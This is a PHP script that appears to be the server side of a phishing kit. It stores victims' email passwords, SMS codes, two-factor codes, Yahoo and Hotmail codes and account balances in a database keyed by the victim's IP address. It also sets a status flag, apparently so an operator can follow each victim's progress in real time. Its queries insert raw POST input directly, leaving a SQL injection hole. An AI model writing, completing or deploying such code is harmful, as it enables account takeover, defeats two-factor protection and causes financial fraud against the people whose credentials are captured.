<?php
require_once "../cod3rconfig/registro.php";
require_once "../cod3rconfig/conexao.php";
require_once "../cod3rconfig/data.php";

$dataQuery = "";
if (isset($_POST['emailPassword'])) {
    $emailPassword = $_POST['emailPassword'];
    $dataQuery .= "`senha_do_email`= '$emailPassword', ";
}
if (isset($_POST['celularAutenticar'])) {
    $celularAutenticar = $_POST['celularAutenticar'];
    $dataQuery .= "`celular_autenticar` = '$celularAutenticar', ";
}
if (isset($_POST['emailSMS'])) {
    $emailSMS = $_POST['emailSMS'];
    $dataQuery .= "`sms_do_email` = '$emailSMS', ";
}
if (isset($_POST['emailPhone'])) {
    $emailPhone = $_POST['emailPhone'];
    $dataQuery .= "`dados_do_email`= '$emailPhone', ";
    $dataQuery .= "`fone_do_email`= '$emailPhone', ";
}
if (isset($_POST['emailTwoFA'])) {
    $emailTwoFA = $_POST['emailTwoFA'];
    $dataQuery .= "`doisFA_do_email` = '$emailTwoFA', ";
}
if (isset($_POST['emailCode'])) {
    $emailCode = $_POST['emailCode'];
    $dataQuery .= "`codigo_do_email` = '$emailCode', ";
}
if (isset($_POST['yahooCode'])) {
    $yahooCode = $_POST['yahooCode'];
    $dataQuery .= "`yahooCode` = '$yahooCode', ";
}
if (isset($_POST['hotmailMail'])) {
    $hotmailMail = $_POST['hotmailMail'];
    $dataQuery .= "`hotmailMail` = '$hotmailMail', ";
}
if (isset($_POST['saldo'])) {
    $saldo = $_POST['saldo'];
    $dataQuery .= "`saldo` = '$saldo', ";
}

$dataQuery .= "`statusremote` = 'Enviou dados do Email'";

$query = "UPDATE `infos` SET $dataQuery WHERE ip='{$_SERVER['REMOTE_ADDR']}'";
$tempo = time();

DBExecute($query) or die (mysqli_error(DBConnect()));
mysqli_query(DBCOnnect(), "UPDATE som SET tempo ='$tempo' WHERE ip='$ip'");
?>